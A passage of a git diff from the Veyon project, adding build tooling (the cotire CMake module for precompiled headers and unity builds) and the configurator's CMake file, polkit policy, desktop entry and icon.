add_dependencies(${_targetName} ${_unityTargetName}) +endfunction() + +function (cotire_setup_clean_all_target) + set (_targetName "${COTIRE_CLEAN_ALL_TARGET_NAME}") + if (NOT TARGET "${_targetName}") + cotire_set_cmd_to_prologue(_cmds) + list (APPEND _cmds -P "${COTIRE_CMAKE_MODULE_FILE}" "cleanup" "${CMAKE_BINARY_DIR}" "${COTIRE_INTDIR}") + add_custom_target(${_targetName} + COMMAND ${_cmds} + WORKING_DIRECTORY "${CMAKE_BINARY_DIR}" + COMMENT "Cleaning up all cotire generated files" + VERBATIM) + cotire_init_target("${_targetName}") + endif() +endfunction() + +function (cotire) + set(_options "") + set(_oneValueArgs "") + set(_multiValueArgs LANGUAGES CONFIGURATIONS) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + set (_targets ${_option_UNPARSED_ARGUMENTS}) + foreach (_target ${_targets}) + if (TARGET ${_target}) + cotire_target(${_target} LANGUAGES ${_option_LANGUAGES} CONFIGURATIONS ${_option_CONFIGURATIONS}) + else() + message (WARNING "cotire: ${_target} is not a target.") + endif() + endforeach() + foreach (_target ${_targets}) + if (TARGET ${_target}) + cotire_target_link_libraries(${_target}) + endif() + endforeach() +endfunction() + +if (CMAKE_SCRIPT_MODE_FILE) + + # cotire is being run in script mode + # locate -P on command args + set (COTIRE_ARGC -1) + foreach (_index RANGE ${CMAKE_ARGC}) + if (COTIRE_ARGC GREATER -1) + set (COTIRE_ARGV${COTIRE_ARGC} "${CMAKE_ARGV${_index}}") + math (EXPR COTIRE_ARGC "${COTIRE_ARGC} + 1") + elseif ("${CMAKE_ARGV${_index}}" STREQUAL "-P") + set (COTIRE_ARGC 0) + endif() + endforeach() + + # include target script if available + if ("${COTIRE_ARGV2}" MATCHES "\\.cmake$") + # the included target scripts sets up additional variables relating to the target (e.g., COTIRE_TARGET_SOURCES) + include("${COTIRE_ARGV2}") + endif() + + if (COTIRE_DEBUG) + message (STATUS "${COTIRE_ARGV0} ${COTIRE_ARGV1} ${COTIRE_ARGV2} ${COTIRE_ARGV3} ${COTIRE_ARGV4} ${COTIRE_ARGV5}") + endif() + + if (NOT COTIRE_BUILD_TYPE) + set (COTIRE_BUILD_TYPE "None") + endif() + string (TOUPPER "${COTIRE_BUILD_TYPE}" _upperConfig) + set (_includeDirs ${COTIRE_TARGET_INCLUDE_DIRECTORIES_${_upperConfig}}) + set (_systemIncludeDirs ${COTIRE_TARGET_SYSTEM_INCLUDE_DIRECTORIES_${_upperConfig}}) + set (_compileDefinitions ${COTIRE_TARGET_COMPILE_DEFINITIONS_${_upperConfig}}) + set (_compileFlags ${COTIRE_TARGET_COMPILE_FLAGS_${_upperConfig}}) + # check if target has been cotired for actual build type COTIRE_BUILD_TYPE + list (FIND COTIRE_TARGET_CONFIGURATION_TYPES "${COTIRE_BUILD_TYPE}" _index) + if (_index GREATER -1) + set (_sources ${COTIRE_TARGET_SOURCES}) + set (_sourcesDefinitions ${COTIRE_TARGET_SOURCES_COMPILE_DEFINITIONS_${_upperConfig}}) + else() + if (COTIRE_DEBUG) + message (STATUS "COTIRE_BUILD_TYPE=${COTIRE_BUILD_TYPE} not cotired (${COTIRE_TARGET_CONFIGURATION_TYPES})") + endif() + set (_sources "") + set (_sourcesDefinitions "") + endif() + set (_targetPreUndefs ${COTIRE_TARGET_PRE_UNDEFS}) + set (_targetPostUndefs ${COTIRE_TARGET_POST_UNDEFS}) + set (_sourcesPreUndefs ${COTIRE_TARGET_SOURCES_PRE_UNDEFS}) + set (_sourcesPostUndefs ${COTIRE_TARGET_SOURCES_POST_UNDEFS}) + + if ("${COTIRE_ARGV1}" STREQUAL "unity") + + if (XCODE) + # executing pre-build action under Xcode, check dependency on target script + set (_dependsOption DEPENDS "${COTIRE_ARGV2}") + else() + # executing custom command, no need to re-check for dependencies + set (_dependsOption "") + endif() + + cotire_select_unity_source_files("${COTIRE_ARGV3}" _sources ${_sources}) + + cotire_generate_unity_source( + "${COTIRE_ARGV3}" ${_sources} + LANGUAGE "${COTIRE_TARGET_LANGUAGE}" + SOURCES_COMPILE_DEFINITIONS ${_sourcesDefinitions} + PRE_UNDEFS ${_targetPreUndefs} + POST_UNDEFS ${_targetPostUndefs} + SOURCES_PRE_UNDEFS ${_sourcesPreUndefs} + SOURCES_POST_UNDEFS ${_sourcesPostUndefs} + ${_dependsOption}) + + elseif ("${COTIRE_ARGV1}" STREQUAL "prefix") + + if (XCODE) + # executing pre-build action under Xcode, check dependency on unity file and prefix dependencies + set (_dependsOption DEPENDS "${COTIRE_ARGV4}" ${COTIRE_TARGET_PREFIX_DEPENDS}) + else() + # executing custom command, no need to re-check for dependencies + set (_dependsOption "") + endif() + + set (_files "") + foreach (_index RANGE 4 ${COTIRE_ARGC}) + if (COTIRE_ARGV${_index}) + list (APPEND _files "${COTIRE_ARGV${_index}}") + endif() + endforeach() + + cotire_generate_prefix_header( + "${COTIRE_ARGV3}" ${_files} + COMPILER_LAUNCHER "${COTIRE_TARGET_${COTIRE_TARGET_LANGUAGE}_COMPILER_LAUNCHER}" + COMPILER_EXECUTABLE "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER}" + COMPILER_ARG1 ${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_ARG1} + COMPILER_ID "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_ID}" + COMPILER_VERSION "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_VERSION}" + LANGUAGE "${COTIRE_TARGET_LANGUAGE}" + IGNORE_PATH "${COTIRE_TARGET_IGNORE_PATH};${COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_PATH}" + INCLUDE_PATH ${COTIRE_TARGET_INCLUDE_PATH} + IGNORE_EXTENSIONS "${CMAKE_${COTIRE_TARGET_LANGUAGE}_SOURCE_FILE_EXTENSIONS};${COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_EXTENSIONS}" + INCLUDE_PRIORITY_PATH ${COTIRE_TARGET_INCLUDE_PRIORITY_PATH} + INCLUDE_DIRECTORIES ${_includeDirs} + SYSTEM_INCLUDE_DIRECTORIES ${_systemIncludeDirs} + COMPILE_DEFINITIONS ${_compileDefinitions} + COMPILE_FLAGS ${_compileFlags} + ${_dependsOption}) + + elseif ("${COTIRE_ARGV1}" STREQUAL "precompile") + + set (_files "") + foreach (_index RANGE 5 ${COTIRE_ARGC}) + if (COTIRE_ARGV${_index}) + list (APPEND _files "${COTIRE_ARGV${_index}}") + endif() + endforeach() + + cotire_precompile_prefix_header( + "${COTIRE_ARGV3}" "${COTIRE_ARGV4}" "${COTIRE_ARGV5}" + COMPILER_LAUNCHER "${COTIRE_TARGET_${COTIRE_TARGET_LANGUAGE}_COMPILER_LAUNCHER}" + COMPILER_EXECUTABLE "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER}" + COMPILER_ARG1 ${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_ARG1} + COMPILER_ID "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_ID}" + COMPILER_VERSION "${CMAKE_${COTIRE_TARGET_LANGUAGE}_COMPILER_VERSION}" + LANGUAGE "${COTIRE_TARGET_LANGUAGE}" + INCLUDE_DIRECTORIES ${_includeDirs} + SYSTEM_INCLUDE_DIRECTORIES ${_systemIncludeDirs} + COMPILE_DEFINITIONS ${_compileDefinitions} + COMPILE_FLAGS ${_compileFlags}) + + elseif ("${COTIRE_ARGV1}" STREQUAL "combine") + + if (COTIRE_TARGET_LANGUAGE) + set (_combinedFile "${COTIRE_ARGV3}") + set (_startIndex 4) + else() + set (_combinedFile "${COTIRE_ARGV2}") + set (_startIndex 3) + endif() + set (_files "") + foreach (_index RANGE ${_startIndex} ${COTIRE_ARGC}) + if (COTIRE_ARGV${_index}) + list (APPEND _files "${COTIRE_ARGV${_index}}") + endif() + endforeach() + + if (XCODE) + # executing pre-build action under Xcode, check dependency on files to be combined + set (_dependsOption DEPENDS ${_files}) + else() + # executing custom command, no need to re-check for dependencies + set (_dependsOption "") + endif() + + if (COTIRE_TARGET_LANGUAGE) + cotire_generate_unity_source( + "${_combinedFile}" ${_files} + LANGUAGE "${COTIRE_TARGET_LANGUAGE}" + ${_dependsOption}) + else() + cotire_generate_unity_source("${_combinedFile}" ${_files} ${_dependsOption}) + endif() + + elseif ("${COTIRE_ARGV1}" STREQUAL "cleanup") + + cotire_cleanup("${COTIRE_ARGV2}" "${COTIRE_ARGV3}" "${COTIRE_ARGV4}") + + else() + message (FATAL_ERROR "cotire: unknown command \"${COTIRE_ARGV1}\".") + endif() + +else() + + # cotire is being run in include mode + # set up all variable and property definitions + + if (NOT DEFINED COTIRE_DEBUG_INIT) + if (DEFINED COTIRE_DEBUG) + set (COTIRE_DEBUG_INIT ${COTIRE_DEBUG}) + else() + set (COTIRE_DEBUG_INIT FALSE) + endif() + endif() + option (COTIRE_DEBUG "Enable cotire debugging output?" ${COTIRE_DEBUG_INIT}) + + if (NOT DEFINED COTIRE_VERBOSE_INIT) + if (DEFINED COTIRE_VERBOSE) + set (COTIRE_VERBOSE_INIT ${COTIRE_VERBOSE}) + else() + set (COTIRE_VERBOSE_INIT FALSE) + endif() + endif() + option (COTIRE_VERBOSE "Enable cotire verbose output?" ${COTIRE_VERBOSE_INIT}) + + set (COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_EXTENSIONS "inc;inl;ipp" CACHE STRING + "Ignore headers with the listed file extensions from the generated prefix header.") + + set (COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_PATH "" CACHE STRING + "Ignore headers from these directories when generating the prefix header.") + + set (COTIRE_UNITY_SOURCE_EXCLUDE_EXTENSIONS "m;mm" CACHE STRING + "Ignore sources with the listed file extensions from the generated unity source.") + + set (COTIRE_MINIMUM_NUMBER_OF_TARGET_SOURCES "3" CACHE STRING + "Minimum number of sources in target required to enable use of precompiled header.") + + if (NOT DEFINED COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES_INIT) + if (DEFINED COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES) + set (COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES_INIT ${COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES}) + elseif ("${CMAKE_GENERATOR}" MATCHES "JOM|Ninja|Visual Studio") + # enable parallelization for generators that run multiple jobs by default + set (COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES_INIT "-j") + else() + set (COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES_INIT "0") + endif() + endif() + set (COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES "${COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES_INIT}" CACHE STRING + "Maximum number of source files to include in a single unity source file.") + + if (NOT COTIRE_PREFIX_HEADER_FILENAME_SUFFIX) + set (COTIRE_PREFIX_HEADER_FILENAME_SUFFIX "_prefix") + endif() + if (NOT COTIRE_UNITY_SOURCE_FILENAME_SUFFIX) + set (COTIRE_UNITY_SOURCE_FILENAME_SUFFIX "_unity") + endif() + if (NOT COTIRE_INTDIR) + set (COTIRE_INTDIR "cotire") + endif() + if (NOT COTIRE_PCH_ALL_TARGET_NAME) + set (COTIRE_PCH_ALL_TARGET_NAME "all_pch") + endif() + if (NOT COTIRE_UNITY_BUILD_ALL_TARGET_NAME) + set (COTIRE_UNITY_BUILD_ALL_TARGET_NAME "all_unity") + endif() + if (NOT COTIRE_CLEAN_ALL_TARGET_NAME) + set (COTIRE_CLEAN_ALL_TARGET_NAME "clean_cotire") + endif() + if (NOT COTIRE_CLEAN_TARGET_SUFFIX) + set (COTIRE_CLEAN_TARGET_SUFFIX "_clean_cotire") + endif() + if (NOT COTIRE_PCH_TARGET_SUFFIX) + set (COTIRE_PCH_TARGET_SUFFIX "_pch") + endif() + if (MSVC) + # MSVC default PCH memory scaling factor of 100 percent (75 MB) is too small for template heavy C++ code + # use a bigger default factor of 170 percent (128 MB) + if (NOT DEFINED COTIRE_PCH_MEMORY_SCALING_FACTOR) + set (COTIRE_PCH_MEMORY_SCALING_FACTOR "170") + endif() + endif() + if (NOT COTIRE_UNITY_BUILD_TARGET_SUFFIX) + set (COTIRE_UNITY_BUILD_TARGET_SUFFIX "_unity") + endif() + if (NOT DEFINED COTIRE_TARGETS_FOLDER) + set (COTIRE_TARGETS_FOLDER "cotire") + endif() + if (NOT DEFINED COTIRE_UNITY_OUTPUT_DIRECTORY) + if ("${CMAKE_GENERATOR}" MATCHES "Ninja") + # generated Ninja build files do not work if the unity target produces the same output file as the cotired target + set (COTIRE_UNITY_OUTPUT_DIRECTORY "unity") + else() + set (COTIRE_UNITY_OUTPUT_DIRECTORY "") + endif() + endif() + + # define cotire cache variables + + define_property( + CACHED_VARIABLE PROPERTY "COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_PATH" + BRIEF_DOCS "Ignore headers from these directories when generating the prefix header." + FULL_DOCS + "The variable can be set to a semicolon separated list of include directories." + "If a header file is found in one of these directories or sub-directories, it will be excluded from the generated prefix header." + "If not defined, defaults to empty list." + ) + + define_property( + CACHED_VARIABLE PROPERTY "COTIRE_ADDITIONAL_PREFIX_HEADER_IGNORE_EXTENSIONS" + BRIEF_DOCS "Ignore includes with the listed file extensions from the generated prefix header." + FULL_DOCS + "The variable can be set to a semicolon separated list of file extensions." + "If a header file extension matches one in the list, it will be excluded from the generated prefix header." + "Includes with an extension in CMAKE__SOURCE_FILE_EXTENSIONS are always ignored." + "If not defined, defaults to inc;inl;ipp." + ) + + define_property( + CACHED_VARIABLE PROPERTY "COTIRE_UNITY_SOURCE_EXCLUDE_EXTENSIONS" + BRIEF_DOCS "Exclude sources with the listed file extensions from the generated unity source." + FULL_DOCS + "The variable can be set to a semicolon separated list of file extensions." + "If a source file extension matches one in the list, it will be excluded from the generated unity source file." + "Source files with an extension in CMAKE__IGNORE_EXTENSIONS are always excluded." + "If not defined, defaults to m;mm." + ) + + define_property( + CACHED_VARIABLE PROPERTY "COTIRE_MINIMUM_NUMBER_OF_TARGET_SOURCES" + BRIEF_DOCS "Minimum number of sources in target required to enable use of precompiled header." + FULL_DOCS + "The variable can be set to an integer > 0." + "If a target contains less than that number of source files, cotire will not enable the use of the precompiled header for the target." + "If not defined, defaults to 3." + ) + + define_property( + CACHED_VARIABLE PROPERTY "COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES" + BRIEF_DOCS "Maximum number of source files to include in a single unity source file." + FULL_DOCS + "This may be set to an integer >= 0." + "If 0, cotire will only create a single unity source file." + "If a target contains more than that number of source files, cotire will create multiple unity source files for it." + "Can be set to \"-j\" to optimize the count of unity source files for the number of available processor cores." + "Can be set to \"-j jobs\" to optimize the number of unity source files for the given number of simultaneous jobs." + "Is used to initialize the target property COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES." + "Defaults to \"-j\" for the generators Visual Studio, JOM or Ninja. Defaults to 0 otherwise." + ) + + # define cotire directory properties + + define_property( + DIRECTORY PROPERTY "COTIRE_ENABLE_PRECOMPILED_HEADER" + BRIEF_DOCS "Modify build command of cotired targets added in this directory to make use of the generated precompiled header." + FULL_DOCS + "See target property COTIRE_ENABLE_PRECOMPILED_HEADER." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_ADD_UNITY_BUILD" + BRIEF_DOCS "Add a new target that performs a unity build for cotired targets added in this directory." + FULL_DOCS + "See target property COTIRE_ADD_UNITY_BUILD." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_ADD_CLEAN" + BRIEF_DOCS "Add a new target that cleans all cotire generated files for cotired targets added in this directory." + FULL_DOCS + "See target property COTIRE_ADD_CLEAN." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_PREFIX_HEADER_IGNORE_PATH" + BRIEF_DOCS "Ignore headers from these directories when generating the prefix header." + FULL_DOCS + "See target property COTIRE_PREFIX_HEADER_IGNORE_PATH." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_PREFIX_HEADER_INCLUDE_PATH" + BRIEF_DOCS "Honor headers from these directories when generating the prefix header." + FULL_DOCS + "See target property COTIRE_PREFIX_HEADER_INCLUDE_PATH." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH" + BRIEF_DOCS "Header paths matching one of these directories are put at the top of the prefix header." + FULL_DOCS + "See target property COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_UNITY_SOURCE_PRE_UNDEFS" + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file before the inclusion of each source file." + FULL_DOCS + "See target property COTIRE_UNITY_SOURCE_PRE_UNDEFS." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_UNITY_SOURCE_POST_UNDEFS" + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file after the inclusion of each source file." + FULL_DOCS + "See target property COTIRE_UNITY_SOURCE_POST_UNDEFS." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES" + BRIEF_DOCS "Maximum number of source files to include in a single unity source file." + FULL_DOCS + "See target property COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES." + ) + + define_property( + DIRECTORY PROPERTY "COTIRE_UNITY_LINK_LIBRARIES_INIT" + BRIEF_DOCS "Define strategy for setting up the unity target's link libraries." + FULL_DOCS + "See target property COTIRE_UNITY_LINK_LIBRARIES_INIT." + ) + + # define cotire target properties + + define_property( + TARGET PROPERTY "COTIRE_ENABLE_PRECOMPILED_HEADER" INHERITED + BRIEF_DOCS "Modify this target's build command to make use of the generated precompiled header." + FULL_DOCS + "If this property is set to TRUE, cotire will modify the build command to make use of the generated precompiled header." + "Irrespective of the value of this property, cotire will setup custom commands to generate the unity source and prefix header for the target." + "For makefile based generators cotire will also set up a custom target to manually invoke the generation of the precompiled header." + "The target name will be set to this target's name with the suffix _pch appended." + "Inherited from directory." + "Defaults to TRUE." + ) + + define_property( + TARGET PROPERTY "COTIRE_ADD_UNITY_BUILD" INHERITED + BRIEF_DOCS "Add a new target that performs a unity build for this target." + FULL_DOCS + "If this property is set to TRUE, cotire creates a new target of the same type that uses the generated unity source file instead of the target sources." + "Most of the relevant target properties will be copied from this target to the new unity build target." + "Target dependencies and linked libraries have to be manually set up for the new unity build target." + "The unity target name will be set to this target's name with the suffix _unity appended." + "Inherited from directory." + "Defaults to TRUE." + ) + + define_property( + TARGET PROPERTY "COTIRE_ADD_CLEAN" INHERITED + BRIEF_DOCS "Add a new target that cleans all cotire generated files for this target." + FULL_DOCS + "If this property is set to TRUE, cotire creates a new target that clean all files (unity source, prefix header, precompiled header)." + "The clean target name will be set to this target's name with the suffix _clean_cotire appended." + "Inherited from directory." + "Defaults to FALSE." + ) + + define_property( + TARGET PROPERTY "COTIRE_PREFIX_HEADER_IGNORE_PATH" INHERITED + BRIEF_DOCS "Ignore headers from these directories when generating the prefix header." + FULL_DOCS + "The property can be set to a list of directories." + "If a header file is found in one of these directories or sub-directories, it will be excluded from the generated prefix header." + "Inherited from directory." + "If not set, this property is initialized to \${CMAKE_SOURCE_DIR};\${CMAKE_BINARY_DIR}." + ) + + define_property( + TARGET PROPERTY "COTIRE_PREFIX_HEADER_INCLUDE_PATH" INHERITED + BRIEF_DOCS "Honor headers from these directories when generating the prefix header." + FULL_DOCS + "The property can be set to a list of directories." + "If a header file is found in one of these directories or sub-directories, it will be included in the generated prefix header." + "If a header file is both selected by COTIRE_PREFIX_HEADER_IGNORE_PATH and COTIRE_PREFIX_HEADER_INCLUDE_PATH," + "the option which yields the closer relative path match wins." + "Inherited from directory." + "If not set, this property is initialized to the empty list." + ) + + define_property( + TARGET PROPERTY "COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH" INHERITED + BRIEF_DOCS "Header paths matching one of these directories are put at the top of prefix header." + FULL_DOCS + "The property can be set to a list of directories." + "Header file paths matching one of these directories will be inserted at the beginning of the generated prefix header." + "Header files are sorted according to the order of the directories in the property." + "If not set, this property is initialized to the empty list." + ) + + define_property( + TARGET PROPERTY "COTIRE_UNITY_SOURCE_PRE_UNDEFS" INHERITED + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file before the inclusion of each target source file." + FULL_DOCS + "This may be set to a semicolon-separated list of preprocessor symbols." + "cotire will add corresponding #undef directives to the generated unit source file before each target source file." + "Inherited from directory." + "Defaults to empty string." + ) + + define_property( + TARGET PROPERTY "COTIRE_UNITY_SOURCE_POST_UNDEFS" INHERITED + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file after the inclusion of each target source file." + FULL_DOCS + "This may be set to a semicolon-separated list of preprocessor symbols." + "cotire will add corresponding #undef directives to the generated unit source file after each target source file." + "Inherited from directory." + "Defaults to empty string." + ) + + define_property( + TARGET PROPERTY "COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES" INHERITED + BRIEF_DOCS "Maximum number of source files to include in a single unity source file." + FULL_DOCS + "This may be set to an integer > 0." + "If a target contains more than that number of source files, cotire will create multiple unity build files for it." + "If not set, cotire will only create a single unity source file." + "Inherited from directory." + "Defaults to empty." + ) + + define_property( + TARGET PROPERTY "COTIRE__UNITY_SOURCE_INIT" + BRIEF_DOCS "User provided unity source file to be used instead of the automatically generated one." + FULL_DOCS + "If set, cotire will only add the given file(s) to the generated unity source file." + "If not set, cotire will add all the target source files to the generated unity source file." + "The property can be set to a user provided unity source file." + "Defaults to empty." + ) + + define_property( + TARGET PROPERTY "COTIRE__PREFIX_HEADER_INIT" + BRIEF_DOCS "User provided prefix header file to be used instead of the automatically generated one." + FULL_DOCS + "If set, cotire will add the given header file(s) to the generated prefix header file." + "If not set, cotire will generate a prefix header by tracking the header files included by the unity source file." + "The property can be set to a user provided prefix header file (e.g., stdafx.h)." + "Defaults to empty." + ) + + define_property( + TARGET PROPERTY "COTIRE_UNITY_LINK_LIBRARIES_INIT" INHERITED + BRIEF_DOCS "Define strategy for setting up unity target's link libraries." + FULL_DOCS + "If this property is empty or set to NONE, the generated unity target's link libraries have to be set up manually." + "If this property is set to COPY, the unity target's link libraries will be copied from this target." + "If this property is set to COPY_UNITY, the unity target's link libraries will be copied from this target with considering existing unity targets." + "Inherited from directory." + "Defaults to empty." + ) + + define_property( + TARGET PROPERTY "COTIRE__UNITY_SOURCE" + BRIEF_DOCS "Read-only property. The generated unity source file(s)." + FULL_DOCS + "cotire sets this property to the path of the generated single computation unit source file for the target." + "Defaults to empty string." + ) + + define_property( + TARGET PROPERTY "COTIRE__PREFIX_HEADER" + BRIEF_DOCS "Read-only property. The generated prefix header file." + FULL_DOCS + "cotire sets this property to the full path of the generated language prefix header for the target." + "Defaults to empty string." + ) + + define_property( + TARGET PROPERTY "COTIRE__PRECOMPILED_HEADER" + BRIEF_DOCS "Read-only property. The generated precompiled header file." + FULL_DOCS + "cotire sets this property to the full path of the generated language precompiled header binary for the target." + "Defaults to empty string." + ) + + define_property( + TARGET PROPERTY "COTIRE_UNITY_TARGET_NAME" + BRIEF_DOCS "The name of the generated unity build target corresponding to this target." + FULL_DOCS + "This property can be set to the desired name of the unity target that will be created by cotire." + "If not set, the unity target name will be set to this target's name with the suffix _unity appended." + "After this target has been processed by cotire, the property is set to the actual name of the generated unity target." + "Defaults to empty string." + ) + + # define cotire source properties + + define_property( + SOURCE PROPERTY "COTIRE_EXCLUDED" + BRIEF_DOCS "Do not modify source file's build command." + FULL_DOCS + "If this property is set to TRUE, the source file's build command will not be modified to make use of the precompiled header." + "The source file will also be excluded from the generated unity source file." + "Source files that have their COMPILE_FLAGS property set will be excluded by default." + "Defaults to FALSE." + ) + + define_property( + SOURCE PROPERTY "COTIRE_DEPENDENCY" + BRIEF_DOCS "Add this source file to dependencies of the automatically generated prefix header file." + FULL_DOCS + "If this property is set to TRUE, the source file is added to dependencies of the generated prefix header file." + "If the file is modified, cotire will re-generate the prefix header source upon build." + "Defaults to FALSE." + ) + + define_property( + SOURCE PROPERTY "COTIRE_UNITY_SOURCE_PRE_UNDEFS" + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file before the inclusion of this source file." + FULL_DOCS + "This may be set to a semicolon-separated list of preprocessor symbols." + "cotire will add corresponding #undef directives to the generated unit source file before this file is included." + "Defaults to empty string." + ) + + define_property( + SOURCE PROPERTY "COTIRE_UNITY_SOURCE_POST_UNDEFS" + BRIEF_DOCS "Preprocessor undefs to place in the generated unity source file after the inclusion of this source file." + FULL_DOCS + "This may be set to a semicolon-separated list of preprocessor symbols." + "cotire will add corresponding #undef directives to the generated unit source file after this file is included." + "Defaults to empty string." + ) + + define_property( + SOURCE PROPERTY "COTIRE_START_NEW_UNITY_SOURCE" + BRIEF_DOCS "Start a new unity source file which includes this source file as the first one." + FULL_DOCS + "If this property is set to TRUE, cotire will complete the current unity file and start a new one." + "The new unity source file will include this source file as the first one." + "This property essentially works as a separator for unity source files." + "Defaults to FALSE." + ) + + define_property( + SOURCE PROPERTY "COTIRE_TARGET" + BRIEF_DOCS "Read-only property. Mark this source file as cotired for the given target." + FULL_DOCS + "cotire sets this property to the name of target, that the source file's build command has been altered for." + "Defaults to empty string." + ) + + message (STATUS "cotire ${COTIRE_CMAKE_MODULE_VERSION} loaded.") + +endif() diff --git a/configurator/CMakeLists.txt b/configurator/CMakeLists.txt new file mode 100644 index 0000000..06ceab3 --- /dev/null +++ b/configurator/CMakeLists.txt @@ -0,0 +1,26 @@ +INCLUDE(WindowsBuildHelpers) + +FILE(GLOB configurator_INCLUDES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.h) +FILE(GLOB configurator_SOURCES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp) +FILE(GLOB configurator_UI ${CMAKE_CURRENT_SOURCE_DIR}/forms/*.ui) +SET(QRC_FILE ${CMAKE_CURRENT_SOURCE_DIR}/veyon-configurator.qrc) + +QT5_WRAP_CPP(configurator_MOC_out ${configurator_INCLUDES}) +QT5_WRAP_UI(configurator_UIC_out ${configurator_UI}) +QT5_ADD_RESOURCES(configurator_RCC_out ${QRC_FILE}) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) +ADD_EXECUTABLE(veyon-configurator ${configurator_UIC_out} ${configurator_SOURCES} ${configurator_INCLUDES} ${configurator_MOC_out} ${configurator_RCC_out}) +TARGET_LINK_LIBRARIES(veyon-configurator veyon-core) + +ADD_WINDOWS_RESOURCE(veyon-configurator) +MAKE_GRAPHICAL_APP(veyon-configurator) + +INSTALL(TARGETS veyon-configurator RUNTIME DESTINATION bin) + +IF(VEYON_BUILD_LINUX) + XDG_INSTALL(${CMAKE_CURRENT_BINARY_DIR}/data/veyon-configurator.desktop ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-configurator.xpm ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-configurator.png ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-configurator.svg) + INSTALL(FILES ${CMAKE_CURRENT_BINARY_DIR}/data/io.veyon.veyon-configurator.policy DESTINATION ${CMAKE_INSTALL_PREFIX}/share/polkit-1/actions) +ENDIF() + +COTIRE_VEYON(veyon-configurator) diff --git a/configurator/data/io.veyon.veyon-configurator.policy.in b/configurator/data/io.veyon.veyon-configurator.policy.in new file mode 100644 index 0000000..90aeaf9 --- /dev/null +++ b/configurator/data/io.veyon.veyon-configurator.policy.in @@ -0,0 +1,20 @@ + + + + + + Veyon Configurator + Authentication is required to run the Veyon Configurator + veyon-configurator + + auth_admin_keep + auth_admin_keep + auth_admin_keep + + @CMAKE_INSTALL_PREFIX@/bin/veyon-configurator + true + + + diff --git a/configurator/data/veyon-configurator.desktop.in b/configurator/data/veyon-configurator.desktop.in new file mode 100644 index 0000000..28d9246 --- /dev/null +++ b/configurator/data/veyon-configurator.desktop.in @@ -0,0 +1,11 @@ +[Desktop Entry] +Version=1.0 +Type=Application +Exec=@CMAKE_INSTALL_PREFIX@/bin/veyon-configurator +Icon=veyon-configurator +Terminal=false +Name=Veyon Configurator +Comment=Configuration tool for Veyon (Virtual Eye On Networks) +Comment[de]=Einrichtungswerkzeug für Veyon (Virtual Eye On Networks) +Categories=Qt;Education;Network;Settings;System;RemoteAccess; +Keywords=classroom,control,computer,room,lab,monitoring,teacher,student,settings,configuration diff --git a/configurator/data/veyon-configurator.png b/configurator/data/veyon-configurator.png new file mode 100644 index 0000000000000000000000000000000000000000..884a8ba171d471c100c031417aa08f5165e41f5c GIT binary patch literal 781 zcmeAS@N?(olHy`uVBq!ia0vp^1|ZDA3?vioaBc-s%*9TgAsieWw;%dH0CG7CJR*x3 z7+4KKm~s1C4Ui_u64!{5;QX|b^2DN4hVt@qz0ADq;^f4FRK5J7^x5xhq=1V42l#}z z0%=cA&xC}8P%sD%4h|0w2Qq<-kdTm|pdcU{$N+L73LtC<7s!UFgp&|iAc>U$F$yRJ zQ4dx{6aiEp5fKp?85tcNotBn1VZwxo6DLlZG-=9|DO0CToik_7+_`h-&6~Gk#fq(4 zw{F|EZU6rL2M!##dGqG2TeoiCzJ34x{pZi0zj*QD-Me@1-@pIx;luau-+%o0@&EsS z2TOqiz#uRy3GxeOVCPU&QB~8`v$b<_c5(Ia^a=})h|S9{ESfQM*6cY87A{)6ci;X4 z2d`bf@$l)hSFhi``~2n4zYA+k0vH$=?L1u^Lp+YZotzuYm?+XF@2a{aNa^xymx|9w7@ys-?_KTNGnU^gTW)Mf+t#<}qO-Vt{U;WNn*!$b 